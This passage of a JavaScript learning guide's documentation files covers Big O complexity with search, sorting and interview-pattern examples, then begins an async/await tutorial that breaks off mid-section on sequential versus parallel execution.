Knuth in *The Art of Computer Programming*, it provides an upper bound on growth rate and ignores constants, giving us a way to compare algorithms regardless of hardware. ### The Package Delivery Analogy Imagine you need to deliver packages to houses on a street: - **O(1)**: You have the exact address. Go directly there. Whether there are 10 or 10,000 houses, it takes the same time. - **O(n)**: You check each house until you find the right one. More houses = proportionally more time. - **O(n²)**: For each house, you compare it with every other house. 10 houses = 100 comparisons. 100 houses = 10,000 comparisons. ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ HOW ALGORITHMS SCALE │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ Operations │ │ ▲ │ │ │ O(n²) │ │ 1M │ •••• │ │ │ ••• │ │ │ ••• │ │ │ ••• │ │ 100K │ •••• O(n log n) │ │ │ ••• ════════════ │ │ │ •••• ═════ │ │ │ •••• ═════ │ │ 10K │ ••••• ═════ O(n) │ │ │ •••• ═════ ────────────── │ │ │ •••• ═════ ─────── │ │ │ •••• ═════ ─────── O(log n) │ │ 1K │•••• ═════ ────── ............ │ │ │═════ ─────── ........ │ │ │ ────── .......... O(1) │ │ 100 │──── .......... ══════════════ │ │ └──────────────────────────────────────────────────────────► │ │ 100 1K 10K 100K 1M Input (n) │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ``` --- ## The Big O Complexity Scale Here are the most common complexities you'll encounter, from fastest to slowest: | Complexity | Name | Example | 1,000 items | 1,000,000 items | |------------|------|---------|-------------|-----------------| | O(1) | Constant | Array access | 1 op | 1 op | | O(log n) | Logarithmic | Binary search | ~10 ops | ~20 ops | | O(n) | Linear | Simple loop | 1,000 ops | 1,000,000 ops | | O(n log n) | Linearithmic | Merge sort | ~10,000 ops | ~20,000,000 ops | | O(n²) | Quadratic | Nested loops | 1,000,000 ops | 1,000,000,000,000 ops | <AccordionGroup> <Accordion title="O(1) - Constant Time"> The operation takes the same time regardless of input size. ```javascript // Array access by index const arr = [1, 2, 3, 4, 5] const element = arr[2] // O(1) - instant, no matter array size // Object/Map lookup const user = { name: 'Alice', age: 30 } const name = user.name // O(1) const map = new Map() map.set('key', 'value') map.get('key') // O(1) // Array push and pop (end operations) arr.push(6) // O(1) arr.pop() // O(1) ``` </Accordion> <Accordion title="O(log n) - Logarithmic Time"> Time increases slowly as input grows. Each step eliminates half the remaining data. This is the "sweet spot" for searching sorted data. ```javascript // Binary search - covered in detail below // With 1,000,000 elements, only ~20 comparisons needed! // Think of it like a phone book: // Open middle → wrong half eliminated → repeat ``` </Accordion> <Accordion title="O(n) - Linear Time"> Time grows proportionally with input. If you double the input, you double the time. ```javascript // Finding maximum value function findMax(arr) { let max = arr[0] for (let i = 1; i < arr.length; i++) { // Visits each element once if (arr[i] > max) max = arr[i] } return max } // Most array methods are O(n) arr.indexOf(5) // O(n) - may check every element arr.includes(5) // O(n) arr.find(x => x > 3) // O(n) arr.filter(x => x > 3) // O(n) arr.map(x => x * 2) // O(n) ``` </Accordion> <Accordion title="O(n log n) - Linearithmic Time"> Common for efficient sorting algorithms. Faster than O(n²), but slower than O(n). ```javascript // JavaScript's built-in sort is O(n log n) const sorted = [...arr].sort((a, b) => a - b) // Merge sort and quick sort (average case) are also O(n log n) ``` </Accordion> <Accordion title="O(n²) - Quadratic Time"> Time grows with the square of input. Nested loops over the same data are the typical culprit. **Avoid for large datasets.** ```javascript // Checking all pairs function findPairs(arr) { const pairs = [] for (let i = 0; i < arr.length; i++) { // O(n) for (let j = i + 1; j < arr.length; j++) { // O(n) for each i pairs.push([arr[i], arr[j]]) } } return pairs // Total: O(n) × O(n) = O(n²) } // Bubble sort - O(n²), mostly used for teaching ``` </Accordion> </AccordionGroup> --- ## How to Analyze Your Code Follow these steps to determine your code's complexity: <Steps> <Step title="Identify the input size"> What variable represents n? Usually it's array length or a number parameter. </Step> <Step title="Count the loops"> - One loop over n elements = O(n) - Nested loops = multiply: O(n) × O(n) = O(n²) - Loop that halves each time = O(log n) </Step> <Step title="Drop constants and lower terms"> - O(2n) → O(n) - O(n² + n) → O(n²) - O(500) → O(1) </Step> </Steps> ```javascript // Example analysis function example(arr) { console.log(arr[0]) // O(1) for (let i = 0; i < arr.length; i++) { // O(n) console.log(arr[i]) } for (let i = 0; i < arr.length; i++) { // O(n) for (let j = 0; j < arr.length; j++) { // × O(n) console.log(arr[i], arr[j]) } } } // Total: O(1) + O(n) + O(n²) = O(n²) // The n² dominates, so we say this function is O(n²) ``` --- ## JavaScript Built-in Methods Complexity Knowing these helps you make better decisions: ### Array Methods | Method | Complexity | Why | |--------|------------|-----| | `push()`, `pop()` | O(1) | End operations, no shifting | | `shift()`, `unshift()` | O(n) | Must re-index all elements | | `splice()` | O(n) | May shift elements | | `slice()` | O(n) | Creates copy of portion | | `indexOf()`, `includes()` | O(n) | Linear search | | `find()`, `findIndex()` | O(n) | Linear search | | `map()`, `filter()`, `forEach()` | O(n) | Visits each element | | `sort()` | O(n log n) | V8 uses [TimSort](https://v8.dev/blog/array-sort) since 2019 | ### Object, Map, and Set | Operation | Object | Map | Set | |-----------|--------|-----|-----| | Get/Set/Has | O(1) | O(1) | O(1) | | Delete | O(1) | O(1) | O(1) | | Keys/Values | O(n) | O(n) | O(n) | <Tip> **Use Set.has() instead of Array.includes()** when checking membership repeatedly. Set lookups are O(1) while array searches are O(n). </Tip> --- ## Searching Algorithms ### Linear Search - O(n) Check each element one by one. Simple but slow for large arrays. ```javascript function linearSearch(arr, target) { for (let i = 0; i < arr.length; i++) { if (arr[i] === target) return i } return -1 } linearSearch([3, 7, 1, 9, 4], 9) // Returns 3 ``` ### Binary Search - O(log n) Divide and conquer on a **sorted** array. Eliminates half the remaining elements each step. As noted in *Introduction to Algorithms* (Cormen et al.), binary search is one of the most efficient search algorithms with guaranteed O(log n) worst-case performance. ```javascript function binarySearch(arr, target) { let left = 0 let right = arr.length - 1 while (left <= right) { const mid = Math.floor((left + right) / 2) if (arr[mid] === target) return mid if (arr[mid] < target) left = mid + 1 else right = mid - 1 } return -1 } binarySearch([1, 3, 5, 7, 9, 11, 13], 9) // Returns 4 ``` <Warning> **Binary search requires a sorted array.** If your data isn't sorted, you'll need to sort it first O(n log n) or use linear search. </Warning> --- ## Sorting Algorithms ### Quick Reference | Algorithm | Best | Average | Worst | Space | Use When | |-----------|------|---------|-------|-------|----------| | Bubble Sort | O(n)* | O(n²) | O(n²) | O(1) | Never in production | | Merge Sort | O(n log n) | O(n log n) | O(n log n) | O(n) | Need guaranteed performance | | Quick Sort | O(n log n) | O(n log n) | O(n²) | O(log n)** | General purpose | | JS `sort()` | O(n log n) | O(n log n) | O(n log n) | O(n) | Most cases | *Bubble sort achieves O(n) best case only with early termination optimization (when no swaps needed). **Quick sort space is O(log n) average case, O(n) worst case due to recursion stack depth. ### Bubble Sort - O(n²) Repeatedly swaps adjacent elements if they're in wrong order. Educational, but too slow for real use. ```javascript function bubbleSort(arr) { const result = [...arr] const n = result.length for (let i = 0; i < n; i++) { let swapped = false for (let j = 0; j < n - i - 1; j++) { if (result[j] > result[j + 1]) { [result[j], result[j + 1]] = [result[j + 1], result[j]] swapped = true } } // If no swaps occurred, array is sorted if (!swapped) break } return result } ``` ### Merge Sort - O(n log n) Divide array in half, sort each half, merge them back. Consistent performance with guaranteed O(n log n). ```javascript function mergeSort(arr) { if (arr.length <= 1) return arr const mid = Math.floor(arr.length / 2) const left = mergeSort(arr.slice(0, mid)) const right = mergeSort(arr.slice(mid)) return merge(left, right) } function merge(left, right) { const result = [] let i = 0 let j = 0 while (i < left.length && j < right.length) { if (left[i] <= right[j]) { result.push(left[i]) i++ } else { result.push(right[j]) j++ } } return result.concat(left.slice(i)).concat(right.slice(j)) } mergeSort([38, 27, 43, 3, 9, 82, 10]) // [3, 9, 10, 27, 38, 43, 82] ``` <Note> **In practice, use JavaScript's built-in `sort()`**. Modern browsers typically use Timsort (V8) or similar O(n log n) algorithms optimized for real-world data. Implement your own sorts for learning or when you have specific requirements. </Note> --- ## Common Interview Patterns These patterns solve many algorithm problems efficiently. ### Two Pointers - O(n) Use two pointers moving toward each other or in the same direction. Great for sorted arrays and finding pairs. ```javascript // Find pair that sums to target in sorted array function twoSum(arr, target) { let left = 0 let right = arr.length - 1 while (left < right) { const sum = arr[left] + arr[right] if (sum === target) return [left, right] if (sum < target) left++ else right-- } return null } twoSum([1, 3, 5, 7, 9], 12) // [1, 4] (3 + 9 = 12) ``` ### Sliding Window - O(n) Maintain a "window" that slides through the array. Perfect for subarray problems. ```javascript // Maximum sum of k consecutive elements function maxSumSubarray(arr, k) { if (arr.length < k) return null // Calculate first window let windowSum = 0 for (let i = 0; i < k; i++) { windowSum += arr[i] } let maxSum = windowSum // Slide the window: remove left element, add right element for (let i = k; i < arr.length; i++) { windowSum = windowSum - arr[i - k] + arr[i] maxSum = Math.max(maxSum, windowSum) } return maxSum } maxSumSubarray([2, 1, 5, 1, 3, 2], 3) // 9 (5 + 1 + 3) ``` ### Frequency Counter - O(n) Use an object or Map to count occurrences. Avoids nested loops when comparing collections. ```javascript // Check if two strings are anagrams function isAnagram(str1, str2) { if (str1.length !== str2.length) return false const freq = {} // Count characters in first string for (const char of str1) { freq[char] = (freq[char] || 0) + 1 } // Subtract counts for second string for (const char of str2) { if (!freq[char]) return false freq[char]-- } return true } isAnagram('listen', 'silent') // true isAnagram('hello', 'world') // false ``` --- ## Key Takeaways <Info> **The key things to remember:** 1. **Big O measures scalability**, not absolute speed. It tells you how performance changes as input grows. 2. **O(1) and O(log n) are fast**. O(n) is acceptable. O(n²) gets slow quickly. Avoid O(2^n) for any significant input. 3. **Nested loops multiply complexity**. Two nested loops over n = O(n²). Three = O(n³). 4. **Drop constants and lower terms**. O(2n + 100) simplifies to O(n). 5. **Array end operations are O(1)**, beginning operations are O(n). Prefer `push`/`pop` over `shift`/`unshift`. 6. **Use Set for O(1) lookups** instead of `Array.includes()` for repeated membership checks. 7. **Binary search is O(log n)** but requires sorted data. Worth sorting first if you'll search multiple times. 8. **JavaScript's sort() is O(n log n)** in all modern browsers. Use it unless you have specific requirements. 9. **Learn the patterns**: Two pointers, sliding window, and frequency counter solve most interview problems. 10. **Space complexity matters too**. Creating a new array of size n uses O(n) space. </Info> --- ## Test Your Knowledge <AccordionGroup> <Accordion title="Question 1: What's the time complexity of this code?"> ```javascript function mystery(arr) { for (let i = 0; i < arr.length; i++) { for (let j = 0; j < 10; j++) { console.log(arr[i]) } } } ``` **Answer:** O(n) The outer loop runs n times, but the inner loop always runs exactly 10 times (constant). So it's O(n × 10) = O(10n) = O(n). The constant 10 is dropped. </Accordion> <Accordion title="Question 2: Why is binary search O(log n)?"> **Answer:** Because each comparison eliminates half the remaining elements. With 1,000 elements: 1000 → 500 → 250 → 125 → 62 → 31 → 15 → 7 → 3 → 1 That's about 10 steps. log₂(1000) ≈ 10. With 1,000,000 elements, it only takes ~20 steps. </Accordion> <Accordion title="Question 3: Array has 1 million elements. Which is faster: indexOf() once, or converting to Set then using has()?"> **Answer:** It depends on how many lookups you need. - **One lookup**: `indexOf()` is faster. O(n) vs O(n) for Set creation + O(1) for lookup. - **Many lookups**: Convert to Set first. O(n) creation + O(1) per lookup beats O(n) per lookup. Rule of thumb: If you'll search more than once, use a Set. </Accordion> <Accordion title="Question 4: What's wrong with using bubble sort?"> **Answer:** It's O(n²), making it impractical for large datasets. With 10,000 elements: ~100,000,000 operations. JavaScript's built-in sort() at O(n log n) would take ~130,000 operations for the same data. Bubble sort is useful for learning but should never be used in production code. </Accordion> <Accordion title="Question 5: How would you find if an array has duplicates in O(n) time?"> **Answer:** Use a Set to track seen elements: ```javascript function hasDuplicates(arr) { const seen = new Set() for (const item of arr) { if (seen.has(item)) return true // O(1) lookup seen.add(item) // O(1) insert } return false } ``` This is O(n) time and O(n) space. The naive nested loop approach would be O(n²) time but O(1) space. </Accordion> <Accordion title="Question 6: What pattern would you use to find the longest substring without repeating characters?"> **Answer:** **Sliding window** with a Set or Map. ```javascript function longestUniqueSubstring(s) { const seen = new Set() let maxLen = 0 let left = 0 for (let right = 0; right < s.length; right++) { while (seen.has(s[right])) { seen.delete(s[left]) left++ } seen.add(s[right]) maxLen = Math.max(maxLen, right - left + 1) } return maxLen } ``` Time: O(n), Space: O(min(n, alphabet size)) </Accordion> </AccordionGroup> --- ## Frequently Asked Questions <AccordionGroup> <Accordion title="What is Big O notation in simple terms?"> Big O notation describes how an algorithm's performance scales as the input grows. O(1) means constant time regardless of input size, O(n) means time grows linearly, and O(n²) means time grows quadratically. It focuses on the worst-case growth rate and ignores constants, so O(2n) simplifies to O(n). </Accordion> <Accordion title="What is the fastest sorting algorithm in JavaScript?"> JavaScript's built-in `Array.prototype.sort()` uses TimSort in V8 (Chrome, Node.js), which runs in O(n log n) time. For most use cases, the built-in sort is optimal. Merge sort guarantees O(n log n) in all cases, while quicksort averages O(n log n) but can degrade to O(n²) with poor pivot selection. </Accordion> <Accordion title="How do I determine the time complexity of my code?"> Identify what variable represents your input size (usually array length). Count nested loops: one loop is O(n), two nested loops is O(n²). A loop that halves the input each iteration is O(log n). Then drop constants and lower-order terms — O(2n + 5) becomes O(n), and O(n² + n) becomes O(n²). </Accordion> <Accordion title="When should I use binary search instead of linear search?"> Use binary search when your data is already sorted and you need to find elements repeatedly. Binary search runs in O(log n) — for a million elements, that is roughly 20 comparisons versus up to 1,000,000 with linear search. If the data is unsorted, the O(n log n) cost of sorting first is only worthwhile if you plan multiple searches. </Accordion> <Accordion title="What is the difference between time complexity and space complexity?"> Time complexity measures how many operations an algorithm performs as input grows. Space complexity measures how much additional memory it needs. For example, merge sort has O(n log n) time but O(n) space because it creates temporary arrays, while bubble sort has O(n²) time but O(1) space because it sorts in place. </Accordion> </AccordionGroup> --- ## Related Concepts <CardGroup cols={2}> <Card title="Data Structures" icon="database" href="/concepts/data-structures"> Understanding arrays, objects, Maps, and Sets is essential for choosing the right tool </Card> <Card title="Recursion" icon="repeat" href="/concepts/recursion"> Many algorithms like merge sort and binary search can be implemented recursively </Card> <Card title="Higher-Order Functions" icon="layer-group" href="/concepts/higher-order-functions"> Map, filter, and reduce are built on these concepts </Card> <Card title="Map, Reduce, Filter" icon="filter" href="/concepts/map-reduce-filter"> Understanding the complexity of these common operations </Card> </CardGroup> --- ## Reference <CardGroup cols={2}> <Card title="Array — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array"> Complete reference for array methods and their behavior </Card> <Card title="Map — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Map"> Hash-based key-value storage with fast lookups </Card> <Card title="Set — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Set"> O(1) operations for membership testing </Card> </CardGroup> ## Articles <CardGroup cols={2}> <Card title="Big O Cheat Sheet" icon="newspaper" href="https://www.bigocheatsheet.com/"> Visual reference for time and space complexity of common algorithms and data structures. Bookmark this one. </Card> <Card title="JavaScript Algorithms and Data Structures" icon="newspaper" href="https://github.com/trekhleb/javascript-algorithms"> Comprehensive GitHub repo with 190k+ stars. Every algorithm implemented in JavaScript with explanations. </Card> <Card title="Time Complexity of JavaScript Array Methods" icon="newspaper" href="https://dev.to/lukocastillo/time-complexity-big-0-for-javascript-array-methods-and-examples-mlg"> Detailed breakdown of every array method's complexity with examples and explanations. </Card> <Card title="Algorithms in Plain English" icon="newspaper" href="https://www.freecodecamp.org/news/time-is-complex-but-priceless-f0abd015063c/"> FreeCodeCamp's beginner-friendly guide to Big O with real-world analogies. </Card> </CardGroup> ## Videos <CardGroup cols={2}> <Card title="Big O Notation in 12 Minutes" icon="video" href="https://www.youtube.com/watch?v=itn09C2ZB9Y"> Web Dev Simplified's concise explanation. Perfect if you want the essentials without filler. </Card> <Card title="JavaScript Algorithms Playlist" icon="video" href="https://www.youtube.com/playlist?list=PLC3y8-rFHvwiRYB4-HHKHblh3_bQNJTMa"> Codevolution's complete series covering sorting, searching, and common patterns step by step. </Card> <Card title="Data Structures and Algorithms in JavaScript" icon="video" href="https://www.youtube.com/watch?v=Gj5qBheGOEo&list=PLWKjhJtqVAbkso-IbgiiP48n-O-JQA9PJ"> FreeCodeCamp's comprehensive 8-hour course. Great for deep learning when you have the time. </Card> </CardGroup> ================================================ FILE: docs/concepts/async-await.mdx ================================================ --- title: "async/await" sidebarTitle: "async/await: Writing Async Code That Looks Synchronous" description: "Learn async/await in JavaScript. Write cleaner async code with try/catch error handling, Promise.all for parallel execution, and more." "og:type": "article" "article:author": "Leonardo Maldonado" "article:section": "Async JavaScript" "article:tag": "async await, async functions, try catch error handling, Promise.all, async patterns" --- Why does asynchronous code have to look so complicated? What if you could write code that fetches data from a server, waits for user input, or reads files, all while looking as clean and readable as regular synchronous code? ```javascript // This is async code that reads like sync code async function getUserData(userId) { const response = await fetch(`/api/users/${userId}`) const user = await response.json() return user } // Using the async function (async () => { const user = await getUserData(123) console.log(user.name) // "Alice" })() ``` That's the magic of **[async/await](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/async_function)**. It's syntactic sugar introduced in the ECMAScript 2017 specification that makes asynchronous JavaScript look and behave like synchronous code, while still being non-blocking under the hood. According to the 2023 State of JS survey, async/await has become the most widely used async pattern, adopted by over 90% of JavaScript developers. <Info> **What you'll learn in this guide:** - What async/await actually is (and why it's "just" Promises underneath) - How the `async` keyword transforms functions into Promise-returning functions - How `await` pauses execution without blocking the main thread - Error handling with try/catch (finally, a sane way to handle async errors!) - The critical difference between sequential and parallel execution - The most common async/await mistakes and how to avoid them - How async/await relates to the event loop and microtasks </Info> <Warning> **Prerequisites:** This guide assumes you understand [Promises](/concepts/promises). async/await is built entirely on top of them. You should also be familiar with the [Event Loop](/concepts/event-loop) to understand why code after `await` behaves like a microtask. </Warning> --- ## What is async/await? Think of **async/await** as a friendlier way to write [Promises](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise). You mark a function with `async`, use `await` to pause until a Promise resolves, and your async code suddenly reads like regular synchronous code. The best part? JavaScript stays non-blocking under the hood. Here's the same operation written three ways: <Tabs> <Tab title="Callbacks (Old Way)"> ```javascript // Callback hell - nested so deep you need a flashlight function getUserPosts(userId, callback) { fetchUser(userId, (err, user) => { if (err) return callback(err) fetchPosts(user.id, (err, posts) => { if (err) return callback(err) fetchComments(posts[0].id, (err, comments) => { if (err) return callback(err) callback(null, { user, posts, comments }) }) }) }) } ``` </Tab> <Tab title="Promises"> ```javascript // Promise chains - better, but still nested function getUserPosts(userId) { return fetchUser(userId) .then(user => { return fetchPosts(user.id) .then(posts => { return fetchComments(posts[0].id) .then(comments => ({ user, posts, comments })) }) }) } ``` </Tab> <Tab title="async/await (Modern)"> ```javascript // async/await - reads like synchronous code! async function getUserPosts(userId) { const user = await fetchUser(userId) const posts = await fetchPosts(user.id) const comments = await fetchComments(posts[0].id) return { user, posts, comments } } ``` </Tab> </Tabs> The async/await version is much easier to read. Each line clearly shows what happens next, error handling uses familiar try/catch, and there's no nesting or callback pyramids. As documented on MDN, every `async` function implicitly returns a Promise, making it fully compatible with existing Promise-based APIs. <Tip> **Don't forget:** async/await doesn't replace Promises. It's built on top of them. Every `async` function returns a Promise, and `await` works with any Promise. The better you understand Promises, the better you'll be at async/await. </Tip> --- ## The Restaurant Analogy Think of async/await like ordering food at a restaurant with table service versus a fast-food counter. **Without async/await (callback style):** You order at the counter, then stand there awkwardly blocking everyone behind you until your food is ready. If you need multiple items, you wait for each one before ordering the next. **With async/await:** You sit at a table and place your order. The waiter takes it to the kitchen (starts the async operation), but you're free to chat, check your phone, or do other things (the main thread isn't blocked). When the food is ready, the waiter brings it to you (the Promise resolves) and you continue from where you left off. ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ THE RESTAURANT ANALOGY │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ async function dinner() { │ │ │ │ ┌──────────┐ "I'll have the ┌─────────────┐ │ │ │ YOU │ ──────────────────────► │ KITCHEN │ │ │ │ (code) │ pasta please" │ (server) │ │ │ └──────────┘ await order() └─────────────┘ │ │ │ │ │ │ │ You're free to do │ Kitchen is │ │ │ other things while │ preparing... │ │ │ waiting! │ │ │ │ │ │ │ │ "Your pasta!" │ │ │ ┌──────────┐ ◄────────────────────── ┌─────────────┐ │ │ │ YOU │ Promise resolved │ KITCHEN │ │ │ │ resume │ │ done │ │ │ └──────────┘ └─────────────┘ │ │ │ │ return enjoyMeal(pasta) │ │ } │ │ │ │ The KEY: You (the main thread) are NOT blocked while waiting! │ │ Other customers (other code) can be served. │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ``` Here's the clever part: `await` makes your code *look* like it's waiting, but JavaScript is actually free to do other work. When the Promise resolves, your function resumes exactly where it left off. --- ## The `async` Keyword The [`async`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/async_function) keyword does one simple thing: **it makes a function return a Promise**. ```javascript // Regular function function greet() { return 'Hello' } console.log(greet()) // "Hello" // Async function - automatically returns a Promise async function greetAsync() { return 'Hello' } console.log(greetAsync()) // Promise {<fulfilled>: "Hello"} ``` ### What Happens to Return Values? When you return a value from an async function, it gets automatically wrapped in `Promise.resolve()`: ```javascript async function getValue() { return 42 } // The above is equivalent to: function getValuePromise() { return Promise.resolve(42) } // Both work the same way: getValue().then(value => console.log(value)) // 42 ``` ### What Happens When You Throw? When you throw an error in an async function, it becomes a rejected Promise: ```javascript async function failingFunction() { throw new Error('Something went wrong!') } // The above is equivalent to: function failingPromise() { return Promise.reject(new Error('Something went wrong!')) } // Both are caught the same way: failingFunction().catch(err => console.log(err.message)) // "Something went wrong!" ``` ### Return a Promise? No Double-Wrapping If you return a Promise from an async function, it doesn't get double-wrapped: ```javascript async function fetchData() { // Returning a Promise directly - it's NOT double-wrapped return fetch('/api/data') } // This returns Promise<Response>, NOT Promise<Promise<Response>> const response = await fetchData() ``` ### Async Function Expressions and Arrow Functions You can use `async` with function expressions and arrow functions too: ```javascript // Async function expression const fetchData = async function() { return await fetch('/api/data') } // Async arrow function const loadData = async () => { return await fetch('/api/data') } // Async arrow function (concise body) const getData = async () => fetch('/api/data') // Async method in an object const api = { async fetchUser(id) { return await fetch(`/api/users/${id}`) } } // Async method in a class class UserService { async getUser(id) { const response = await fetch(`/api/users/${id}`) return response.json() } } ``` <Warning> **Common misconception:** Making a function `async` doesn't make it run in a separate thread or "in the background." JavaScript is still single-threaded. The `async` keyword simply enables the use of `await` inside the function and ensures it returns a Promise. </Warning> --- ## The `await` Keyword The [`await`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/await) keyword is where things get interesting. It **pauses the execution of an async function** until a Promise settles (fulfills or rejects), then resumes with the resolved value. ```javascript async function example() { console.log('Before await') const result = await somePromise() // Execution pauses here console.log('After await:', result) // Resumes when Promise resolves } ``` ### Where Can You Use await? `await` can only be used in two places: 1. **Inside an async function** 2. **At the top level of an ES module** (top-level await, covered later) ```javascript // ✓ Inside async function async function fetchUser() { const response = await fetch('/api/user') return response.json() } // ✓ Top-level await in ES modules // (in a .mjs file or with "type": "module" in package.json) const config = await fetch('/config.json').then(r => r.json()) // ❌ NOT in regular functions function regularFunction() { const data = await fetch('/api/data') // SyntaxError! } // ❌ NOT in global scope of scripts (non-modules) await fetch('/api/data') // SyntaxError in non-module scripts ``` ### What Can You await? You can `await` any value, but it's most useful with Promises: ```javascript // Awaiting a Promise (the normal case) const response = await fetch('/api/data') // Awaiting Promise.resolve() const value = await Promise.resolve(42) console.log(value) // 42 // Awaiting a non-Promise value (works, but pointless) const num = await 42 console.log(num) // 42 (immediately, no actual waiting) // Awaiting a thenable (object with .then method) const thenable = { then(resolve) { setTimeout(() => resolve('thenable value'), 1000) } } const result = await thenable console.log(result) // "thenable value" (after 1 second) ``` <Tip> **Pro tip:** Only use `await` when you're actually waiting for a Promise. Awaiting non-Promise values works but adds unnecessary overhead and confuses anyone reading your code. </Tip> <Note> **Technical detail:** Even when awaiting an already-resolved Promise or a non-Promise value, execution still pauses until the next microtask. This is why `await` always yields control back to the caller before continuing. </Note> ### await Pauses the Function, Not the Thread This trips people up. `await` pauses only the async function it's in, not the entire JavaScript thread. Other code can run while waiting: ```javascript async function slowOperation() { console.log('Starting slow operation') await new Promise(resolve => setTimeout(resolve, 2000)) console.log('Slow operation complete') } console.log('Before calling slowOperation') slowOperation() // Starts but doesn't block console.log('After calling slowOperation') // Output: // "Before calling slowOperation" // "Starting slow operation" // "After calling slowOperation" // (2 seconds later) // "Slow operation complete" ``` Notice that "After calling slowOperation" prints before "Slow operation complete". The main thread wasn't blocked. --- ## How await Works Under the Hood Let's peek under the hood at what actually happens. When you `await` a Promise, **the code after the await becomes a microtask** that runs when the Promise resolves. ```javascript async function example() { console.log('1. Before await') // Runs synchronously await Promise.resolve() console.log('2. After await') // Runs as a microtask } console.log('A. Before call') example() console.log('B. After call') // Output: // A. Before call // 1. Before await // B. After call // 2. After await ``` Let's trace through this step by step: <Steps> <Step title="Synchronous code starts"> `console.log('A. Before call')` executes → prints "A. Before call" </Step> <Step title="Call example()"> The function starts executing synchronously. `console.log('1. Before await')` executes → prints "1. Before await" </Step> <Step title="Hit the await"> `await Promise.resolve()`. The Promise is already resolved, but the code after `await` is still scheduled as a **microtask**. The function pauses and returns control to the caller. </Step> <Step title="Continue after the call"> `console.log('B. After call')` executes → prints "B. After call" </Step> <Step title="Call stack empties, microtasks run"> The event loop processes the microtask queue. The continuation of `example()` runs. `console.log('2. After await')` executes → prints "2. After await" </Step> </Steps> ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ await SPLITS THE FUNCTION │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ async function example() { │ │ console.log('Before') ──────► Runs SYNCHRONOUSLY │ │ │ │ await somePromise() ──────► PAUSE: Schedule continuation │ │ as microtask, return to caller │ │ │ │ console.log('After') ──────► Runs as MICROTASK when │ │ } Promise resolves │ │ │ │ ───────────────────────────────────────────────────────────────────── │ │ │ │ Think of it like this - await transforms the function into: │ │ │ │ function example() { │ │ console.log('Before') │ │ return somePromise().then(() => { │ │ console.log('After') │ │ }) │ │ } │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ``` <Note> This is why understanding the [Event Loop](/concepts/event-loop) is so important for async/await. The `await` keyword effectively registers a microtask, which has priority over setTimeout callbacks (macrotasks). </Note> --- ## Error Handling with try/catch Finally, error handling that doesn't make you want to flip a table. Instead of chaining `.catch()` after `.then()` after `.catch()`, you get to use good old try/catch blocks. ### Basic try/catch Pattern ```javascript async function fetchUserData(userId) { try { const response = await fetch(`/api/users/${userId}`) if (!response.ok) { throw new Error(`HTTP error! Status: ${response.status}`) } const user = await response.json() return user } catch (error) { console.error('Failed to fetch user:', error.message) throw error // Re-throw if you want callers to handle it } } ``` ### Catching Different Types of Errors ```javascript async function processOrder(orderId) { try { const order = await fetchOrder(orderId) const payment = await processPayment(order) const shipment = await createShipment(order) return { order, payment, shipment } } catch (error) { // You can check error types if (error.name === 'NetworkError') { console.log('Network issue - please check your connection') } else if (error.name === 'PaymentError') { console.log('Payment failed - please try again') } else { console.log('Unexpected error:', error.message) } throw error } } ``` ### The finally Block The `finally` block always runs, whether the try succeeded or failed: ```javascript async function fetchWithLoading(url) { showLoadingSpinner() try { const response = await fetch(url) const data = await response.json() return data } catch (error) { showErrorMessage(error.message) throw error } finally { // This ALWAYS runs - perfect for cleanup hideLoadingSpinner() } } ``` ### try/catch vs .catch() Both approaches work, but they have different use cases: <Tabs> <Tab title="try/catch (Preferred)"> ```javascript // Good for: Multiple awaits where any could fail async function getFullProfile(userId) { try { const user = await fetchUser(userId) const posts = await fetchPosts(userId) const friends = await fetchFriends(userId) return { user, posts, friends } } catch (error) { // Catches any of the three failures console.error('Profile fetch failed:', error) return null } } ``` </Tab> <Tab title=".catch() (Sometimes Better)"> ```javascript // Good for: Handling errors for specific operations async function getProfileWithFallback(userId) { const user = await fetchUser(userId) // Only this operation has fallback behavior const posts = await fetchPosts(userId).catch(() => []) // This will still throw if it fails const friends = await fetchFriends(userId) return { user, posts, friends } } ``` </Tab> </Tabs> ### Common Error Handling Mistake <Warning> **The Trap:** If you catch an error but don't re-throw it, the Promise resolves successfully (with undefined), not rejects! </Warning> ```javascript // ❌ WRONG - Error is swallowed, returns undefined async function fetchData() { try { const response = await fetch('/api/data') return await response.json() } catch (error) { console.error('Error:', error) // Missing: throw error } } const data = await fetchData() // undefined if there was an error! // ✓ CORRECT - Re-throw or return a meaningful value async function fetchData() { try { const response = await fetch('/api/data') return await response.json() } catch (error) { console.error('Error:', error) throw error // Re-throw to let caller handle it // OR: return null // Return explicit fallback value // OR: return { error: error.message } // Return error object } } ``` --- ## Sequential vs Parallel Execution This is a big one. By default, `await` makes operations sequential, but often you want them to run in parallel. ### The Problem: Unnecessary Sequential Execution ```javascript // ❌ SLOW - Each request waits for the previous one async function getUserDashboard(userId) { const user = await fetchUser(userId) // Wait ~500ms const posts = await fetchPosts(userId) // Wait ~500ms const notifications = await fetchNotifications(userId) // Wait ~500ms return { user, posts, notifications } // Total time: ~1500ms (sequential) } ``` ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ SEQUENTIAL EXECUTION (SLOW) │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ Time: 0ms 500ms 1000ms 1500ms │ │ │ │ │ │ │ │ ├─────────┤ │ │ │ │ │ user │ │ │ Total: 1500ms │ │ │ fetch │ │ │ │ │ └─────────┼─────────┤ │ │ │ │ posts │ │ │ │ │ fetch │ │ │ │ └─────────┼─────────┤ │ │ │ notifs │ │ │ │ fetch │ │ │ └─────────┘ │ │ │ │ Each request WAITS for the previous one to complete! │ │ │ 